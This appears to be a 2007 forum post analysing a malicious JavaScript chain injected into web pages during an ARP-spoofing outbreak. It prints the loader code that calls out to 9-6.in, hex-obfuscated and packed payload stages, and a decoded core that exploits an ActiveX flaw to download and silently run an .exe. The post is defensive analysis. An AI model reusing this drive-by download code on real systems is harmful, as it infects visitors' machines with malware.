Rumah > Artikel > hujung hadapan web > 解析arp病毒背后利用的Javascript技术附解密方法_javascript技巧
本文的目的是探讨JS相关技术,并不是以杀毒为主要目的,杀毒只是为讲解一些JS做铺垫的,呵呵,文章有点长,倒杯咖啡或者清茶慢慢看,学习切勿急躁!
最近公司的网络中了这两天闹的很欢的ARP病毒,导致大家都无法上网,给工作带来了很大的不方便,在这里写下杀毒的过程,希望对大家能有帮助!
现象:打开部分网页显示为乱码,好像是随机的行为,但是看似又不是,因为它一直在监视msn.com,呵呵,可能和微软有仇吧,继续查看源代码,发现头部有一个js文件链接----<script></script>;
来源:经过一番网络搜索,发现这个域名是印度域名,而IP地址却是美国的,而且域名的注册日期是7月25日,看来一切都是预谋好了的,还是不管这个了,先解决问题吧;
分析:
1、先把(http://9-6.in/n.js)这个JS文件下载下来,代码如下:
document.writeln("<script>window.onerror=function(){return true;}<\/script>"); <BR> document.writeln("<script src=\"http:\/\/9-6.in\/S368\/NewJs2.js\"><\/script>"); <BR> document.writeln("<script>"); <BR> document.writeln("function StartRun(){"); <BR> document.writeln("var Then = new Date() "); <BR> document.writeln("Then.setTime(Then.getTime() + 24*60*60*1000)"); <BR> document.writeln("var cookieString = new String(document.cookie)"); <BR> document.writeln("var cookieHeader = \"Cookie1=\" "); <BR> document.writeln("var beginPosition = cookieString.indexOf(cookieHeader)"); <BR> document.writeln("if (beginPosition != -1){ "); <BR> document.writeln("} else "); <BR> document.writeln("{ document.cookie = \"Cookie1=POPWINDOS;expires=\"+ Then.toGMTString() "); <BR> document.writeln("document.write(\'<iframe width=0 height=0 src=\"http:\/\/9-6.IN\/s368\/T368.htm\"><\/iframe>\');"); <BR> document.writeln("}"); <BR> document.writeln("}"); <BR> document.writeln("StartRun();"); <BR> document.writeln("<\/script>") <BR>其中第一句window.onerror=function(){return true;}就先把JS错误屏蔽掉,真够狠的,呵呵,不这样怎么隐藏自己呢,哈哈!然后还有个JS文件http://9-6.in/S368/NewJs2.js,先继续往下看,找到StartRun();运行一个函数,函数的主要作用是写COOKIE,日期为保存一天,然后还用隐藏框架加载了一个文件(http://9-6.IN/s368/T368.htm),其余就没有什么特别的了; <BR>2、下载(http://9-6.in/S368/NewJs2.js)这个文件,代码如下: <br><br>StrInfo = "\x3c\x73\x63\x72\x69\x70\x74\x3e\x77\x69\x6e\x64\x6f\x77\x2e\x6f\x6e\x65\x72\x72\x6f\x72\x3d\x66\x75\x6e\x63\x74\x69\x6f\x6e\x28\x29\x7b\x72\x65\x74\x75\x72\x6e \x74\x72\x75\x65\x3b\x7d\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e" +"\n"+ <BR> "\x3c\x73\x63\x72\x69\x70\x74\x3e" +"\n"+ <BR> " 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+"\n"+ <BR> " \x71\x2e\x53\x48\x65\x4c\x4c\x45\x78\x65\x63\x75\x74\x65\x28\x6f\x6b\x31\x2c\'\\\x78\x32\x30\\\x78\x32\x46\\\x78\x36\x33 \'\x2b\x4e\x73\x31\x2c\"\"\x2c\"\\\x78\x36\x46\\\x78\x37\x30\\\x78\x36\x35\\\x78\x36\x45\"\x2c\x30\x29\x3b" +"\n"+ <BR> " \x4e\x6f\x73\x6b\x73\x6c\x61\x3d\'\'\x3b" +"\n"+ <BR> "\x7d " +"\n"+ <BR> " \x63\x61\x74\x63\x68\x28\x4d\x73\x49\x29 \x7b \x4d\x73\x49\x3d\x31\x3b \x7d" +"\n"+ <BR> " \x4e\x6f\x73\x6b\x73\x6c\x61\x3d\'\'\x3b" +"\n"+ <BR> "\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e" <BR>window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65"](StrInfo); <BR>这个代码有点长哦,而且有保护措施,全部转换为十六进制,不过不要害怕,我们有办法解决,首先得确保你已经安装了UE,然后打开UE,把代码粘贴进去(废话,呵呵),把x替换为%,然后用html代码转换功能,解码,就可以得到第一次解码的代码,第一次???,呵呵,这个代码的作者很变态的,做了两次编码,所以我得进行两次解码才行,重复刚才的步骤,然后你就可以看到最终的“原始”代码了; <BR>具体的代码我就不帖出来了,有一定的危害性,相信大家看了上面的步骤都能自己找到代码,这里之说一下比较核心的代码吧; <br><br>[Copy to clipboard] [ - ]CODE: <BR>//核心代码 <BR>.............. <BR> " var Bf=document.createElement(\"\o\b\j\e\c\t\");" +"\n"+ <BR> " Bf.setAttribute(\"\c\l\a\s\s\i\d\",\"\c\l\s\i\d\:\B\D\9\6\C\5\5\6\-\6\5\A\3\-\1\1\D\0\-\9\8\3\A\-\0\0\C\0\4\F\C\2\9\E\3\6\");" +"\n"+ <BR> " var Kx=Bf.CreateObject(\"\M\i\c\r\o\s\o\f\t\.\X\"+\"\M\L\H\T\T\P\",\"\");" +"\n"+ <BR> " var AS=Bf.CreateObject(\"\A\d\o\d\b\.\S\t\r\e\a\m\",\"\");" +"\n"+ <BR>............. <BR> " var cF=Bf.CreateObject(\"\S\c\r\i\p\t\i\n\g\.\F\i\l\e\S\y\s\t\e\m\O\b\j\e\c\t\",\"\");" +"\n"+ <BR> " var NsTmp=cF.GetSpecialFolder(0); Ns1= cF.BuildPath(NsTmp,Ns1); AS.Open();AS.Write(Kx.responseBody);" +"\n"+ <BR> " AS.SaveToFile(Ns1,2); AS.Close(); var q=Bf.CreateObject(\"\S\h\e\l\l\.\A\p\p\l\i\c\a\t\i\o\n\",\"\");" +"\n"+ <BR> " ok1=cF.BuildPath(NsTmp+\'\\\\\s\y\s\t\e\m\3\2\',\'\c\m\d\.\e\x\e\');" +"\n"+ <BR> " q.SHeLLExecute(ok1,\'\ \/\c \'+Ns1,\"\",\"\o\p\e\n\",0);" +"\n"+ <BR>.............. <BR>上面的就是最为核心的代码,利用MS0614漏洞、创建JS异步对象获取病毒(*.exe)文件,然后运行,这样就达到它的目的啦! <BR>3、打开http://9-6.IN/s368/T368.htm查看源代码,又发现一段怪异的JS文件,如下: <br><br>[Copy to clipboard] [ - ]CODE: <BR><script> <BR> eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--)d[c.toString(a)]=k[c]||c.toString(a);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('x("\\0\\6\\9\\5\\i\\h\\j\\j\\4\\f\\8\\3\\2\\0\\7\\1\\i\\8\\2\\3\\h\\g\\4\\w\\v\\u\\t\\b\\s\\7\\r\\g\\4\\e\\f\\q\\8\\3\\2\\0\\7\\1\\e\\4\\d\\c\\d\\c\\p\\5\\3\\o\\n\\a\\6\\1\\b\\m\\2\\0\\1\\a\\l\\0\\6\\9\\5\\k")',34,34,'151|164|162|143|42|157|156|160|163|146|145|56|12|15|76|74|134|75|40|11|51|50|167|155|165|144|57|147|152|70|66|63|123|eval'.split('|'),0,{})) <BR></script>
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bound0 2007-8-6 19:01 威望 +1 鼓励研究精神!:D
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veking [楼主]
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#2发表于 2007-8-6 16:06 资料 短消息 加为好友
解析arp病毒背后利用的Javascript技术
可以看出这段代码也是经过加密的了,特征为function(p,a,c,k,e,d),这种加密方法网上有很多例子,我就不细说了,附上解密代码:
[Copy to clipboard] [ - ]CODE:
//以下代码为网上搜索所得,版权归原作者所有
nbsp;html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">